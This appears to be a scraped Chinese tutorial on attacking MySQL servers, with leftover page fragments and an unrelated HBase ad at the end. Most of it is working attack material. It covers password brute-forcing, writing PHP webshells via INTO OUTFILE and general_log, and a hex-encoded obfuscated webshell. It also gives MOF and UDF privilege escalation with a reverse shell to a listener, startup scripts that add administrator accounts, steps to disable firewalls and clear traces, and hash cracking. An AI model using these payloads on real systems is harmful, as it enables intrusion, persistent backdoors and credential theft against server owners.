精华内容
下载资源
问答
  • Mysql数据库渗透及漏洞利用总结

    千次阅读 2018-07-07 18:37:55
    Mysql数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql作为其数据库支撑,目前很多架构都以Mysql作为数据库管理系统,例如LAMP、和WAMP等,在针对网站渗透中,很多都是跟Mysql数据库有关...

    Mysql数据库是目前世界上使用最为广泛的数据库之一,很多著名公司和站点都使用Mysql作为其数据库支撑,目前很多架构都以Mysql作为数据库管理系统,例如LAMP、和WAMP等,在针对网站渗透中,很多都是跟Mysql数据库有关,各种Mysql注入,Mysql提权,Mysql数据库root账号webshell获取等的,但没有一个对Mysql数据库渗透较为全面对总结,针对这种情况我们开展了研究,虽然我们团队今年正在出版《网络攻防实战研究——漏洞利用与提权》,但技术的进步有无止境,思想有多远,路就可以走多远,在研究mysql数据库安全之余,对Mysql如何通过msf、sqlmap等来进行扫描、漏洞利用、提权、Mysql密码破解和获取webshell等进行了详细研究。

    1.1 Mysql信息收集

    1.端口信息收集

    Mysql默认端口是3306端口,但也有自定义端口,针对默认端口扫描主要利用扫描软件进行探测,推荐使用:

    (1)iisputter,直接填写3306端口,IP地址填写单个或者C段地址。

    (2)nmap扫描nmap -p 3306 192.168.1.1-254

    特定目标的渗透,可能需要对全端口进行扫描,可以使用Nmap对某一个IP地址进行全端口扫描,端口扫描软件还有sfind等DOS下扫描的工具。

    2.版本信息收集

    (1)msf查看版本信息auxiliary/scanner/mysql/mysql_version模块,以扫描主机192.168.157.130为例,命令为:

    use auxiliary/scanner/mysql/mysql_version
    set rhosts 192.168.157.130
    run
    (2)mysql查询版本命令:

    SELECT @@version`、`SELECT  version();
    (3)sqlmap通过注入点扫描确认信息:

    sqlmap.py -u url --dbms mysql
    (4)phpmyadmin管理页面登录后查看localhost->变量->服务器变量和设置中的version参数值。

    3.数据库管理信息收集

    Mysql管理工具有多种,例如phpmyadmin网站管理,Navicat for MySQL以及MysqlFront等客户端工具。这些工具有的会直接保存配置信息,这些信息包含数据库服务器地址和数据库用户名以及密码,通过嗅探或者破解配置文件可以获取密码等信息。

    4.msf信息收集模块

    (1)mysql哈希值枚举

    use auxiliary/scanner/mysql/mysql_hashdump
    set username root
    set password root
    run
    (2)获取相关信息
    use auxiliary/admin/mysql/mysql_enum
    set username root
    set password root
    run

    获取数据库版本,操作系统名称,架构,数据库目录,数据库用户以及密码哈希值。

    (3)执行mysql语句,连接成功后可以在msf执行sql语句,跟sqlmap的--sql-shell模块类似。

    use auxiliary/admin/mysql/mysql_sql

    (4)将mysql_schem导出到本地 /root/.msf4/loot/文件夹下

    use auxiliary/scanner/mysql/mysql_schemadump
    (5)文件枚举和目录可写信息枚举

    auxiliary/scanner/mysql/mysql_file_enum
    auxiliary/scanner/mysql/mysql_writable_dirs
    没有测试成功过,需要定义枚举目录和相关文件,觉得基本没有啥用。

    1.2Mysql密码获取

    1.2.1暴力破解

    Mysql暴力破解主要有几种:

    1.网页在线连接破解

    可以使用burpsuite和phpMyAdmin多线程批量破解工具。 下载:https://portswigger.net/burp/、http://pan.baidu.com/s/1c1LD6co

    2.msf通过命令行进行暴力破解

    msf破解mysql密码模块auxiliary/scanner/mysql/mysql_login,其参数主要有BLANK_PASSWORDSBRUTEFORCE_SPEEDDB_ALL_CREDSDB_ALL_PASSDB_ALL_USERSPASSWORDPASS_FILEProxiesRHOSTSRPORTSTOP_ON_SUCCESSTHREADSUSERNAMEUSERPASS_FILEUSER_AS_PASSUSER_FILEVERBOSE参数。对单一主机仅仅需要设置RHOSTSRPORTUSERNAMEPASSWORDPASS_FILE,其它参数根据实际情况进行设置。

    (1)场景A:对内网获取root某一个口令后,扩展渗透

    use auxiliary/scanner/mysql/mysql_login
    set RHOSTS 192.168.157.1-254
    set password root
    set username root
    run

    执行后对192.168.157.1-254进行mysql密码扫描验证。

    (2)场景B:使用密码字典进行扫描

    use auxiliary/scanner/mysql/mysql_login
    set RHOSTS 192.168.157.1-254
    set pass_file /tmp/password.txt
    set username root
    run

    3.使用nmap扫描并破解密码

    (1)对某一个IP或者IP地址段进行nmap默认密码暴力破解并扫描

    nmap --script=mysql-brute 192.168.157.130
    nmap --script=mysql-brute 192.168.157.1-254
    (2)使用root账号root密码进行mysql密码验证并扫描获取指定IP地址的端口信息以及mysql数据库相关信息

    nmap -sV --script=mysql-databases --script-argsmysqluser=root,mysqlpass=root 192.168.157.130
    (3)检查root空口令

    nmap --script mysql-empty-password 192.168.195.130

    4.使用hscan工具对mysql口令进行扫描,需要设置扫描IP地址段以及数据库口令字典及用户名字典。

    1.2.2源代码泄露

    1.网站源代码备份文件

    一些网站源代码文件中会包含数据库连接文件,通过查看这些文件可以获取数据库账号和密码。一般常见的数据库连接文件为config.phpweb.configconn.aspdb.php/aspjdbc.propertiessysconfig.propertiesJBOSS_HOME\docs\examples\jca\XXXX-ds.xml。以前有一款工具挖掘鸡可以自定义网站等名称对zip/rar/tar/tar.gz/gz/sql等后缀文件进行扫描。

    2.配置备份文件

    使用ultraedit等编辑文件编辑数据库配置文件后,会留下bak文件。

    1.2.3文件包含

    本地文件包含漏洞可以包含文件,通过查看文件代码获取数据库配置文件,进而读取数据库用户名和密码。

    1.2.4其它情况

    有些软件会将IP地址、数据库用户名和密码写进程序中,运行程序后,通过cain软件进行嗅探,可以获取数据库密码。另外Mysql客户端管理工具有的管理员会建立连接记录,这些连接记录保存了用户名、密码和连接IP地址或者主机名,通过配置文件或者嗅探可以获取用户名和密码。

    1.3Mysql获取webshell

    1.3.1phpmyadminroot账号获取webshell

    MysqlRoot账号通过phpMyAdmin获取webshell的思路,主要有下面几种方式,以第一二六八种方法较佳,其它可以根据实际情况来进行。

    1.直接读取后门文件

    通过程序报错、phpinfo函数、程序配置表等直接获取网站真实路径,有些网站前期已经被人渗透过,因此在目录下留有后门文件通过load_file直接读取。

    2.直接导出一句话后门

    前提需要知道网站的真实物理路径,例如呼求偶真实路径D:\work\WWW,则可以通过执行以下查询,来获取一句话后门文件cmd.php,访问地址http://www.somesite.com/cmd.php

    select '<?php @eval($_POST[antian365]);?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

    3.创建数据库导出一句话后门

    在查询窗口直接执行以下代码即可,跟2.原理类似。

    CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );
    INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('<?php @eval($_POST[antian365]);?>');
    SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php';
    DROP TABLE IF EXISTS `antian365`;

    4.可执行命令方式

    ​创建执行命令形式的shell,但前提是对方未关闭系统函数。该方法导出成功后可以直接执行DOS命令,使用方法:www.xxx.com/antian365.php?cmd=(cmd=后面直接执行dos命令)。

    select '<?php echo \'<pre>\';system($_GET[\'cmd\']); echo \'</pre>\'; ?>' INTO OUTFILE 'd:/www/antian365.php'
    另外在linux下可以导出直接执行命令的shell:

    SELECT '<? system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php';

    http://localhost/shell.php?c=cat%20/etc/passwd

    5.过杀毒软件方式

    通过后台或者存在上传图片的地方,上传图片publicguide.jpg,内容如下:

    <?php$a=' PD9waHAgQGV2YWwoJF9QT1NUWydhbnRpYW4zNjUnXSk7ZGllKCk7Pz4=';error_reporting(0);@set_time_limit(0);eval("?>".base64_decode($a));?>
    然后通过图片包含temp.php,导出webshell。

    select '<?php include 'publicguide.jpg' ?>'INTO OUTFILE 'D:/work/WWW/antian365.php'

    一句话后门密码:antian365

    6.直接导出加密webshell

    一句话后门文件密码:pp64mqa2x1rnw68,执行以下查询直接导出加密webshell,D:/WEB/IPTEST/22.php,注意在实际过程需要修改D:/WEB/IPTEST/22.php

    select unhex('203C3F7068700D0A24784E203D2024784E2E737562737472282269796234327374725F72656C6750383034222C352C36293B0D0A246C766367203D207374725F73706C697428226D756B3961773238776C746371222C36293B0D0A24784E203D2024784E2E73756273747228226C396364706C616365704172424539646B222C342C35293B0D0A246A6C203D2073747269706F732822657078776B6C3766363674666B74222C226A6C22293B0D0A2474203D2024742E737562737472282274514756325957774A63567534222C312C36293B0D0A2465696137203D207472696D28226A386C32776D6C34367265656E22293B0D0A2462203D2024622E73756273747228226B6261736536346B424474394C366E6D222C312C36293B0D0A246967203D207472696D28226233397730676E756C6922293B0D0A2479203D2024792E24784E28227259222C22222C22637259726572596122293B0D0A24797531203D207374725F73706C697428226269316238376D3861306F3678222C32293B0D0A2474203D2024742E24784E282278413678222C22222C2277784136786F4A463922293B0D0A246E64203D2073747269706F7328226E363574383872786E303265646A336630222C226E6422293B0D0A2462203D2024622E24784E282277493339222C22222C225F774933396477493339656322293B0D0A2468387073203D207374725F73706C697428226B6E396A3968346D6877676633666A6970222C33293B0D0A2479203D2024792E7375627374722822687974655F66756E775669535645344A222C322C36293B0D0A24796637203D207374726C656E282275656875343967367467356B6F22293B0D0A2474203D2024742E24784E28226670222C22222C22516670546670314E667022293B0D0A246D39203D207374726C656E282265756C363034636F626B22293B0D0A2462203D2024622E73756273747228226C3057316F64656C413165536E454A222C342C33293B0D0A2468306277203D207472696D28226E33653568306371746F6B76676F6238747822293B0D0A2479203D2024792E24784E28227962222C22222C2263796274696F22293B0D0A24733761203D20727472696D2822617565627963396734743564386B22293B0D0A2474203D2024742E7375627374722822624D73306E4268383355577964222C392C34293B0D0A2464353971203D2073747269706F732822636A7675636B6F79357766336F746561222C226435397122293B0D0A2479203D2024792E73756273747228226E4439487851534C386E6752222C392C31293B0D0A246C31203D207374725F73706C697428226167717130396762716E31222C34293B0D0A2474203D2024742E24784E282277366F34222C22222C2277634477366F345977366F343022293B0D0A247079203D2073747269706F7328226C677938687472727631746333222C22707922293B0D0A2474203D2024742E24784E282265503332222C22222C22625846655033326822293B0D0A2478703364203D2073747269706F732822756B6C306E626E7839677433222C227870336422293B0D0A2474203D2024742E7375627374722822696B4A3030484A4D6E677863222C372C35293B0D0A2464743262203D207374726C656E282265346135616275616A7733766C6369726122293B0D0A2474203D2024742E737562737472282263644E314B78656D35334E776D456838364253222C372C34293B0D0A2475626A203D207374726C656E28227767686A6E6674326F70356B7831633038367422293B0D0A2474203D2024742E73756273747228226D34616F7864756A676E58536B63784C344657635964222C372C36293B0D0A247178203D207374726C656E2822726C71666B6B6674726F3867666B6F37796122293B0D0A2474203D2024742E7375627374722822723779222C312C31293B0D0A246D75203D20727472696D28226E676478777578357671653122293B0D0A246A203D2024792822222C20246228247429293B0D0A24626E6C70203D207374726C656E28227675667930616B316679617622293B0D0A24736468203D207374725F73706C69742822776D6E6A766733633770306D222C34293B0D0A246D62203D206C7472696D28226E353270317067616570656F6B6622293B0D0A2465307077203D20727472696D28227575346D686770356339706E613465677122293B0D0A24756768203D207472696D282272637064336F3977393974696F3922293B0D0A246772636B203D207374726C656E2822783572697835627031786B793722293B0D0A24656F3674203D207374726C656E282264646931683134656375797563376422293B246A28293B0D0A2464766E71203D207374725F73706C6974282270726D36676968613176726F333630346175222C38293B0D0A24756738203D20727472696D28226563387735327375706234767538656F22293B0D0A24726374203D2073747269706F73282268786536776F37657764386D65376474222C2272637422293B0D0A24656B7166203D207374725F73706C69742822707266357930386538666C6666773032356A38222C38293B0D0A24767972203D207374725F73706C69742822756D706A63737266673668356E64366F3435222C39293B0D0A24777266203D20727472696D282266797839396F3739333868377567716822293B0D0A24713134203D207374726C656E2822746334366F73786C3173743169633222293B0D0A66756E6374696F6E206F2820297B2020207D3B0D0A24757366203D207374726C656E2822666C7463707862377466626A736D7422293B0D0A3F3E') into dumpfile 'D:/WEB/IPTEST/22.php'

    注意:

    也可以使用http://tool.lu/hexstr/网站的代码转换来实现,将需要导出的文件代码复制到网站的字符串中,通过字符串转成十六进制,将十六进制字符串放入unhex函数进行查询即可:

    select unhex('十六进制字符串') into dumpfile 'D:/WEB/shell.php'

    7.CMS系统获取webshell

    有些情况下无法获取网站的真实路径,则意味着无法直接导出一句话webshell,可以通过CMS系统管理账号登录系统后,寻找漏洞来突破,例如dedecms则可以通过破解管理员账号后直接上传文件来获取webshell。Discuz!的UC_key可以直接获取webshell。甚至某些系统可以直接上传php文件。下面是一些CMS系统渗透的技巧:

    (1)dedecms系统的密码有直接md5,也有20位的密码,如果是20位的密码则需要去掉密码中的前3位和最后1位,然后对剩余的值进行md5解密即可;

    (2)phpcms v9版本的密码需要加salt进行破解,需要选择破解算法md5(md5($pass).$salt)进行破解。

    (3)Discuz!论坛帐号保存在ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要带salt进行,其破解时是使用password:salt进行,例如a0513df9929afc972f024fa4e586e829:399793

    8.general_log_file获取webshell

    (1)查看genera文件配置情况

    show global variables like "%genera%";
    (2)关闭general_log

    set global general_log=off;
    (3)通过general_log选项来获取webshell

    set global general_log='on';
    SET global general_log_file='D:/phpStudy/WWW/cmd.php';
    在查询中执行语句:

    SELECT '<?php assert($_POST["cmd"]);?>';

    Shell为cmd.php,一句话后门,密码为cmd。

    1.3.2sqlmap注入点获取webshell

    sqlmap注入点获取webshell的前提是具备写权限,一般是root账号,通过执行命令来获取:

    sqlmap -u url--os-shell
    
    echo "<?php @eval($_POST['c']);?>" >/data/www/1.php

    1.4Mysql提权

    1.4.1mof提权

    1.Webshell上传mof文件提权

    MySQL Root权限MOF方法提权是来自国外Kingcope大牛发布的MySQL Scanner & MySQL Server for Windows Remote SYSTEM Level Exploit(https://www.exploit-db.com/exploits/23083/),简称mysql远程提权0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day)。Windows 管理规范 (WMI) 提供了以下三种方法编译到 WMI 存储库的托管对象格式 (MOF) 文件:

    方法1:运行 MOF 文件指定为命令行参数 Mofcomp.exe 文件。
    方法2:使用 IMofCompiler 接口和 $ CompileFile 方法。
    方法3:拖放到 %SystemRoot%\System32\Wbem\MOF 文件夹的 MOF 文件。

    Microsoft 建议您到存储库编译 MOF 文件使用前两种方法。也就是运行 Mofcomp.exe 文件,或使用IMofCompiler::CompileFile方法。第三种方法仅为向后兼容性与早期版本的 WMI提供,并因为此功能可能不会提供在将来的版本后,不应使用。注意使用MOF方法提权的前提是当前Root帐号可以复制文件到%SystemRoot%\System32\Wbem\MOF目录下,否则会失败!

    该漏洞的利用前提条件是必须具备mysql的root权限,在Kingcope公布的0day中公布了一个pl利用脚本。

    perl mysql_win_remote.pl 192.168.2.100 root "" 192.168.2.150 5555
    192.168.2.100为mysql数据库所在服务器,mysql口令为空,反弹到192.168.2.150的5555端口上。

    2.生成nullevt.mof文件

    将以下代码保存为nullevt.mof文件:

    #pragma namespace("\\\\.\\root\\subscription") 
    
    instance of __EventFilter as $EventFilter
    
    { 
    
    EventNamespace = "Root\\Cimv2"; 
    
    Name  = "filtP2"; 
    
        Query = "Select \ From __InstanceModificationEvent " 
    
                "Where TargetInstance Isa \"Win32_LocalTime\" " 
    
                "And TargetInstance.Second = 5"; 
    
    QueryLanguage = "WQL"; 
    
    }; 
    
    instance of ActiveScriptEventConsumer as $Consumer 
    
    { 
    
        Name = "consPCSV2"; 
    
    ScriptingEngine = "JScript"; 
    
    ScriptText = 
    
        "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin admin /add")"; 
    
    }; 
    
    instance of __FilterToConsumerBinding
    
    { 
    
        Consumer   = $Consumer; 
    
        Filter = $EventFilter; 
    
    };

    3.通过Mysql查询将文件导入

    执行以下查询语句,将上面生成的nullevt.mof导入到c:\windows\system32\wbem\mof\目录下在windows7中默认是拒绝访问的。导入后系统会自动运行,执行命令。

    selectload_file('C:\\RECYCLER\\nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof';

    1.4.2.Msf直接mof提权

    Msf下的exploit/windows/mysql/mysql_mof模块提供了直接Mof提权,不过该漏洞成功跟操作系统权限和Mysql数据库版本有关,执行成功后会直接反弹shell到meterpreter。

    use exploit/windows/mysql/mysql_mof
    set rhost 192.168.157.1 //设置需要提权的远程主机IP地址
    set rport 3306 //设置mysql的远程端口
    set password root //设置mysql数据库root密码
    set username root //设置mysql用户名
    options //查看设置
    run 0

    技巧:

    要是能够通过网页连接管理(phpmyadmin),则可以修改host%并刷新权限后,则可以通过msf等工具远程连接数据库。默认root等账号不允许远程连接,除非管理员或者数据库用户自己设置。

    方法1:本地登入mysql,更改 mysql数据库里的 user 表里的 host项,将localhost改为%

    use mysql;
    update user set host = '%' where user = 'root';
    FLUSH PRIVILEGES ;
    select host, user from user;

    方法2:直接授权(推荐)

    从任何主机上使用root用户,密码:youpassword(你的root密码)连接到mysql服务器:

    # mysql -u root -proot
    GRANT ALL PRIVILEGES ON . TO 'root'@'%' IDENTIFIED BY 'youpassword' WITH GRANT OPTION;
    FLUSH PRIVILEGES;

    推荐重新增加一个用户,在实际测试过程中发现很多服务器使用root配置了多个地址,修改后可能会影响实际系统的运行。在实际测试过程中因此建议新增一个用户,授权所有权限,而不是直接更改root配置。

    1.4.3UDF提权

    UDF提权是利用MYSQL的自定义函数功能,将MYSQL账号转化为系统system权限,其利用条件是目标系统是Windows(Win2000,XP,Win2003);拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数,有root账号密码

    Windows下UDF提权对于Windows2008以下服务器比较适用,也即针对Windows2000、Windows2003的成功率较高。

    1.UDF提权条件

    (1)Mysql版本大于5.1版本udf.dll文件必须放置于MYSQL安装目录下的lib\plugin文件夹下。

    (2)Mysql版本小于5.1版本。udf.dll文件在Windows2003下放置于c:\windows\system32,在windows2000下放置于c:\winnt\system32

    (3)掌握的mysql数据库的账号有对mysqlinsertdelete权限以创建和抛弃函数,一般以root账号为佳,具备`root账号所具备的权限的其它账号也可以。

    (4)可以将udf.dll写入到相应目录的权限。

    2.提权方法

    (1)获取数据库版本、数据位置以及插件位置等信息

    select version();//获取数据库版本
    select user();//获取数据库用户
    select @@basedir ;//获取安装目录
    show variables like '%plugins%';  //寻找mysql安装路径
    (2)导出路径

    C:\Winnt\udf.dll    Windows 2000
    C:\Windows\udf.dll   Windows2003(有的系统被转义,需要改为C:Windowsudf.dll)

    MYSQL 5.1以上版本,必须要把udf.dll文件放到MYSQL安装目录下的libplugin文件夹下才能创建自定义函数。该目录默认是不存在的,这就需要我们使用webshell找到MYSQL的安装目录,并在安装目录下创建libplugin文件夹,然后将udf.dll文件导出到该目录即可。

    在某些情况下,我们会遇到Can't open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,网上大牛发现利用NTFS ADS流来创建文件夹的方法:

    select @@basedir;  //查找到mysql的目录
    select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   //利用NTFS ADS创建lib目录
    select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';//利用NTFS ADS创建plugin目录

    执行成功以后就会plugin目录,然后再进行导出udf.dll即可。

    (3)创建cmdshell 函数,该函数叫什么名字在后续中则使用该函数进行查询:

    create function cmdshell returns string soname ‘lib_mysqludf_sys.dll’;
    (4)执行命令:
    select sys_eval(‘whoami’);

    一般情况下不会出现创建不成功哦。

    连不上3389可以先停止windows防火墙和筛选

    select sys_eval(‘net stop policyagent’);
    select sys_eval(‘net stop sharedaccess’);
    udf.dll下常见函数:

    cmdshell  执行cmd;
    downloader  下载者,到网上下载指定文件并保存到指定目录;
    open3389    通用开3389终端服务,可指定端口(不改端口无需重启);
    backshell   反弹Shell;
    ProcessView 枚举系统进程;
    KillProcess 终止指定进程;
    regread     读注册表;
    regwrite    写注册表;
    shut        关机,注销,重启;
    about       说明与帮助函数;
    具体用户示例:

    select cmdshell('net user iis_user 123!@#abcABC /add');
    select cmdshell('net localgroup administrators iis_user /add');
    select cmdshell('regedit /s d:web3389.reg');
    select cmdshell('netstat -an');
    (5)清除痕迹

    drop function cmdshell;//将函数删除

    删除udf.dll文件以及其它相关入侵文件及日志。

    (6)常见错误

    1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

    my.ini或者mysql.cnf文件中注销 (使用#号) 包含secure_file_priv的行(SHOW VARIABLES LIKE "secure_file_priv")。

    1123 - Can't initialize function 'backshell'; UDFs are unavailable with the --skip-grant-tables option


    需要将my.ini中的skip-grant-tables选项去掉。

    3.webshell下udf提权

    通过集成udf提权的webshell输入数据库用户名及密码以及数据库服务器地址或者IP通过连接后导出进行提权。

    4.Mysql提权综合利用工具

    v5est0r 写了一个Mysql提权综合利用工具,详细情况请参考其代码共享网站:https://github.com/v5est0r/Python_FuckMySQL其主要功能有:

    (1)自动导出你的backdoor和mof文件
    (2)自动判断mysql版本,根据版本不同导出UDF的DLL到不同目录,UDF提权
    (3)导出LPK.dll文件,劫持系统目录提权
    (4)写启动项提权
    UdF自动提权:

    python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m udf
    LPK劫持提权:

    python root.py -a 127.0.0.1 -p root -e "ver&whoami" -m lpk
    启动项提权:

    python root.py -a 127.0.0.1 -p root -e "ver&whoami" –mst

    例如通过LOAD_FILE来查看Mysql配置文件my.ini,如果其中配置了skip-grant-tables,这无法进行提权

    1.6.3无法获取webshell提权

    1.连接mysql

    (1)mysql.exe -h ip -uroot -p
    (2)phpmyadmin
    (3)Navicat for MySQL
    2.查看数据库版本和数据路径

    SELECT VERSION( );
    Select @@datadir;
    5.1以下版本,将dll导入到c:/windows或者c:/windows/system32/
    5.1以上版本 通过以下查询来获取插件路径:
    SHOW VARIABLES WHERE Variable_Name LIKE "%dir";
    show variables like '%plugin%' ;
    select load_file('C:/phpStudy/Apache/conf/httpd.conf')
    select load_file('C:/phpStudy/Apache/conf/vhosts.conf')
    select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')
    select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')
    select load_file('d:/phpStudy/Apache/conf/vhosts.conf')

    3.修改mysql.txt

    Mysql.txt为udf.dll的二进制文件转成十六进制代码。

    (1)先执行导入ghost表中的内容

    修改以下代码的末尾代码 select backshell("YourIP",4444);

    (2)导出文件到某个目录

    select data from Ghost into dumpfile 'c:/windows/mysqldll.dll'; 
    select data from Ghost into dumpfile 'c:/windows/system32/mysqldll'; 
    select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll'; 
    select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll'; 
    select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll' 
    select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll'; 
    select load_file('C:/ProgramData/MySQL/MySQL Server 5.1/Data/mysql/user.frm');
    select data from Ghost into dumpfile 'C:\Program Files\MySQL\MySQL Server 5.1\lib/plugin/mysqldll.dll'

    (3)查看FUNCTION中是否存在cmdshell和backshell

    存在则删除:

    drop FUNCTION cmdshell;//删除cmdshell
    drop FUNCTION backshell;//删除backshell
    创建backshell:

    CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //创建backshell
    在具备独立主机的服务器上执行监听:

    nc -vv -l -p 44444
    执行查询:

    select backshell("192.192.192.1",44444);//修改192.192.192.1为你的IP和端口

    4.获取webshell后添加用户命令

    注意如果不能直接执行,则需要到c:\windows\system32\下执行

    net user antian365 www.xianzhi.aliyun.com /add 
    
    net localgroup administrators antian365

    1.6.4sqlmap直连数据库提权

    Sqlmap直接连接数据库提权,需要有写入权限和root账号及密码,命令如下:

    (1)连接数据库

    sqlmap.py -d "mysql://root:123456@219.115.1.1:3306/mysql" --os-shell

    (2)选择操作系统的架构,32位操作系统选择1,64位选择2.

    (3)自动上传udf或提示os-shell

    (4)执行whomai命令如果获取系统权限,则表示提权成功。

    4.msfudf提权

    Kali渗透测试平台下执行(kali下载地https://www.kali.org/downloads/):

    msfconsole
    use exploit/windows/mysql/mysql_payload
    options
    set rhost 192.168.2.1
    set rport 3306
    set username root
    set password 123456
    run 0或者exploit

    msf下udf提权成功率并不高,跟windows操作系统版本,权限和数据库版本有关,特别是secure-file-priv选项,如果有该选项基本不会成功。

    1.6.4启动项提权

    1.创建表并插入vbs脚本到表中

    依次使用以下命令:

    show databases ;
    use test;
    show tables;
    create table a (cmd text); 
    insert into a values ("set wshshell=createobject (""wscript.shell"" ) " ); 
    insert into a values ("a=wshshell.run (""cmd.exe /c net user aspnetaspnettest/add"",0)") ;
    insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators aspnet /add"",0) " ); 
    select \ from a;
    1. 导出vbs脚本到启动

    使用以下命令将刚才在a表中创建的vbs脚本导出到启动选项中。

    select \ from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";

    导入成功后,系统重新启动时会自动添加密码为“1”且用户名称为“1”的用户到管理员组中。在实际使用过程中该脚本成功执行的几率比较低,有时候会出现不能导出的错误.

    推荐使用以下脚本:

    show databases ;
    use test;
    show tables;
    create table b (cmd text); 
    insert into b values ("net user Aspnet123545345! /add");
    insert into b values ("net localgroup administrators Aspnet /add");
    insert into b values ("del b.bat");
    select  from b into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\b.bat";

    该脚本执行后虽然会闪现Dos窗口,如果有权限导入到启动选项中,则一定会执行成功,在虚拟机中通过MySQL连接器连接并执行以上命令后,在C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录中会有刚才导出的b.bat脚本文件

    说明

    在不同的操作系统中C:\Documents and Settings\All Users\「开始」菜单\程序\启动目录文件名称可能会不同,这个时候就要将其目录换成相应的目录名称即可。例如如果是英文版本操作系统则其插入的代码为:

    select  from b into outfile "C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\b.bat";
    Windows 2008 Server的启动目录为:

    C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs
    其vbs方法可以参考如下写法:
    create table a (cmd text);
    insert into a values ("set wshshell=createobject (""wscript.shell"" ) " );
    insert into a values ("a=wshshell.run (""cmd.exe /c net user antian365 qwer1234!@# /add"",0) " );
    insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators antian365 /add"",0) " );
    select \ from a into outfile "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\iis.vbs";
    3.msf下模块exploit/windows/mysql/mysql_start_up提权

    use exploit/windows/mysql/mysql_start_up
    set rhost 192.168.2.1
    set rport 3306
    set username root
    set password 123456
    run

    msfmysql_start_up提权有一定的几率,对英文版系统支持较好。

    1.7Msf其它相关漏洞提权

    1.Mysql身份认证漏洞及利用(CVE-2012-2122)

    当连接MariaDB/MySQL时,输入的密码会与期望的正确密码比较,由于不正确的处理,会导致即便是memcmp()返回一个非零值,也会使MySQL认为两个密码是相同的。也就是说只要知道用户名,不断尝试就能够直接登入SQL数据库。按照公告说法大约256次就能够蒙对一次。受影响的产品: All MariaDB and MySQL versions up to 5.1.61, 5.2.11, 5.3.5, 5.5.22 存在漏洞.

    MariaDB versions from 5.1.62, 5.2.12, 5.3.6, 5.5.23不存在漏洞.
    MySQL versions from 5.1.63, 5.5.24, 5.6.6 are not不存在漏洞.

    use auxiliary/scanner/mysql/mysql_authbypass_hashdump
    2.exploit/windows/mysql/mysql_yassl_hello
    3.exploit/windows/mysql/scrutinizer_upload_exec

    1.8.mysql密码破解

    1.8.1cain工具破解mysql密码

    使用UltraEdit-32编辑器直接打开user.MYD文件,打开后使用二进制模式进行查看,在root用户后面是一串字符串,选中这些字符串将其复制到记事本中,这些字符串即为用户加密值,例如506D1427F6F61696B4501445C90624897266DAE3。

    注意:

    (1)root后面的“”不要复制到字符串中。

    (2)在有些情况下需要往后面看看,否则得到的不是完整的MYSQLSHA1密码,总之其正确的密码位数是40位。

    安装cain工具,使用cracker,右键单击“Add tolist”将Mysql Hashes值加入到破解列表中,使用软件中的字典、暴力破解等方式来进行暴力破解。

    1.8.2网站在线密码破解

    1.cmd5.com破解。将获取的mysql值放在cmd5.com网站中进行查询,mysql密码一般都是收费的。

    2.somd5.com破解。Somd5.com是后面出现的一个免费破解网站,每次破解需要手工选择图形码进行破解,速度快,效果好,只是每次只能破解一个,而且破解一次后需要重新输入验证码。

    1.8.3oclhash破解

    hashcat支持很多种破解算法,免费开源软件,官方网站https://hashcat.net/hashcat/,破解命令:

    hashcat64.exe -m 200myql.hashpass.dict //破解MySQL323类型

    hashcat64.exe -m 300myql.hashpass.dict //破解MySQL4.1/MySQL5类型

    1.8.4 John the Ripper password cracker

    John the Ripper下载地址:http://www.openwall.com/john/h/john179w2.zip,John the Ripper除了能够破解linux外,还能破解多种格式的密码。

    Echo 81F5E21E35407D884A6CD4A731AEBFB6AF209E1B>hashes.txt
    John –format =mysql-sha1 hashes.txt
    john --list=formats | grep mysql //查看支持mysql密码破解的算法

    展开全文
  • 二是用dataview筛选,但是出现BUG,每次都只会按第二个条件筛选,第一个条件没用。单一筛选条件测试过是可以用的。 不知道有什么比较好的方法?![图片说明]...
  • HBase高性能复杂条件查询引擎

    万次阅读 多人点赞 2014-06-17 20:10:36
    HBase在大数据领域的应用越来越广泛,成为目前NoSQL数据库中表现最耀眼,呼声最高的产品之一,但就应对复杂条件的查询说,一般认为它并不是非常适合,熟悉HBase的开发人员对此应该有一定的体会,但是基于普遍的...

    推荐:博主历时三年倾注大量心血创作的大数据平台架构与原型实现:数据中台建设实战一书已由知名IT图书品牌电子工业出版社博文视点出版发行,真诚推荐给每一位读者!点击重磅推荐:建大数据平台太难了!给我发个工程原型吧!了解图书详情,扫码进入京东手机购书页面!

     

    写在前面


